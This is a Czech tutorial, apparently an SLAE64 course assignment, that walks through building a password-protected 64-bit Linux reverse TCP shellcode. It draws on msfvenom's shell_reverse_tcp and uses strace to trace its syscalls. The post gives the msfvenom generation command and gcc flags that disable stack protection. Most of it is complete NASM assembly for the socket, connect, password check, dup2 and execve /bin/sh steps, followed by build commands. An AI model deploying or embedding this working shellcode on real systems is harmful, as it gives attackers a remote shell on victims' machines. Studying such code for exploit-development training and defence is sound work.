Ve druhém textu této 64bitové série bude demonstrováno, jak si vytvořit vlastní 64bitový reverse tcp shellcode s nutností zadat správné heslo, aby došlo k otevření shellu.
Jako inspirace bude použit shell_reverse_tcp z msfvenom, který bude analyzován pomocí strace.
Všechny povinné možnosti nastavení můžeme vidět pomocí:
- msfvenom -p linux/x64/shell_reverse_tcp –list-options
Jsou zde dvě povinné nastavení a to „LPORT“ a „LHOST“

Shellcode v C si můžeme vytvořit pomocí:
- msfvenom -p linux/x64/shell_reverse_tcp LPORT=9001 LHOST=127.0.0.1 -f c

Potom můžeme pomocí jednoduchého C skriptu spočítat délku shellcode:

Následně zkompilujeme C script a spustíme jej:
- gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Jak můžeme vidět na screenu výše, shellcode byl úspěšně spuštěn a došlo k otevření shell na portu 9001 na localhostu. Nyní můžeme shellcode analyzovat pomocí strace.
Můžeme vidět, že shell_reverse_tcp používá tyto syscally:
socket -> connect -> dup2 -> execve
Pomocí nástroje strace můžeme vidět, jaké parametry syscally používají:
- strace -e socket,dup2,connect,execve ./shellcode

Navíc budeme muset přidat nový syscall read, abychom mohli ověřit, že zadané heslo je správné. Syscall read bude před syscallem dup2.
Více informací o syscallu socket najdeme pomocí “man 2 socket” => int socket(int domain, int type, int protocol); budeme potřebovat celkem 4 registry.
Hodnoty najdeme pomocí:
- grep -R “_INET” /usr/include/
- PF_INET = 2
- grep -R “SOCK_STREAM” /usr/include/
- SOCK_STREAM = 1
- grep -R “IPPROTO_IP” /usr/include/
- IPPROTO_IP = 0
Nyní můžeme vytvořit první část v assembly:
; Filename: linux_x64_shell_reverse_tcp.nasm
; Author: SLAE64-14209
global _start
section .text
_start:
; syscall socket()
push 0x29
pop rax ; syscall socket = 41
push 0x02
pop rdi ; AF_INET = 2
push 0x01
pop rsi ; SOCKET_STREAM = 1
cdq ; rdx = 0
syscall
mov r9, rax ; store for future references
Jako další budeme potřebovat connect syscall:
- man 2 connect
- int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
- connect = RAX 0x2a (42)
- sockfd = RDI => reference to socket
- *addr = RSI => pointer to location on the stack of the sockaddr struct we are going to create
- lenght of address = RDX 0x10 (16)
- AF_INET => 2
- Port number => 9001 decimal = 0x2329 hex => little endian = 0x2923
- IP address 127.1.1.1 = 0x0101017f
- 0
- addrlen = RDX
- length of the address which the /usr/include/linux/in.h =>
- #define __SOCK_SIZE__ 16 /* sizeof(struct sockaddr) */ => 16
Stack roste z vyšších hodnot k nižším, proto musíme umisťovat argumenty do stacku v obráceném pořadí a používat little endian formát.
; syscall connect()
push 0x2a
pop rax ; syscall connect = 42
mov rdi, r9 ; rdi -> file descriptor
push rdx
push rdx
push 0x0101017f ; 127.1.1.1
push word 0x2923 ; port 9001
push word 0x02 ; AF_INET = 2
mov rsi, rsp
add rdx, 0x10 ; address lenght 16
syscall
Jako další budeme potřebovat validovat heslo, které bude zadané uživatelem, použijeme syscall read() a porovnáme s hardcodovaným heslem v shellcode. Pokud bude heslo shodné, dojde ke spuštění syscallu execve.
read() syscall:
- man 2 read:
- read() = RAX 0
- int fd = RDI
- void *buf = pointer to the stack RSI
- size_t count = lenght = RDX
; authenticate:
xor rax, rax ; syscall read = 0
mov rdi, r9 ; reference to stored file descriptor
sub rsp, 0x1e
mov rsi, rsp ; allocating space in the stack
mov dl, 0x1e ; bytes to read
syscall
; compare:
mov rax, 0x64726f7773736170 ; hardcoded password in little endian "drowssap"
mov rdi, rsi ; password
scasq ; compare rax with rdi
jne end ; if is password incorrect jump to end
Jako další budeme potřebovat dup2 syscall:
- man 2 dup2
- int dup2(int oldfd, int newfd);
- we will need loop for 3x into RSI (loop = RSI):
- STDIN
- STDOUT
- STDERR
- dup2 = RAX 33
- we will need loop for 3x into RSI (loop = RSI):
- int dup2(int oldfd, int newfd);
Všechny požadované argumenty pro dup2 jsou v sockfd, který je uložený v accept() syscallu => RDI
; syscall dup2()
push 0x02
pop rsi ; rsi = 2
mov rdi, r9 ; rdi -> file descriptor
loop:
push 0x21
pop rax ; syscall dup2 = 33
syscall
dec rsi ; decrement fd
jns loop
Jako další budeme potřebovat execve syscall:
- man 2 execve:
- int execve(const char *pathname, char *const argv[],
char *const envp[]);
- execve = RAX
- pathname = RDI = ‘//bin/sh’ (length 8) terminated by null byte
- python
- code = ‘//bin/sh’
- code[::-1].encode(‘hex’)
- 0x68732f6e ; ‘hs/n”
- 0x69622f2f ; ‘ib//’
- python
- argv = RSI 0
- envp = RDX 0
; syscall execve()
push 0x3b ; = 59
pop rax ; syscall execve()
cdq
mov rbx, 0x68732f6e69622f ; "hs/nib/"
push rbx
mov rdi, rsp ; RSI -> RDI -> pathname = /bin/sh,0x0
push rdx ; RDX = 0
push rdi
mov rsi, rsp
syscall ; executing syscall execve()
end:
push 0x3c
pop rax ; rax = 60
syscall
Kompletní nasm soubor můžete nalézt zde https://github.com/Pal1Sec/SLAE64/blob/master/Assignment%202/linux_x64_shell_reverse_tcp.nasm
Nasm soubor zkompilujeme:
- nasm -f elf64 -o reverse.o reverse.nasm
- ld reverse.o -o reverse
Můžeme zkusit spustit nejdříve se špatným heslem, například “wrong password”, shell bude ukončený. Pokud zadáme správné heslo “password” reverse shell bude fungovat:


Jak můžeme vidět výše reverse shellcode funguje a připojí se na port 9001. Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE64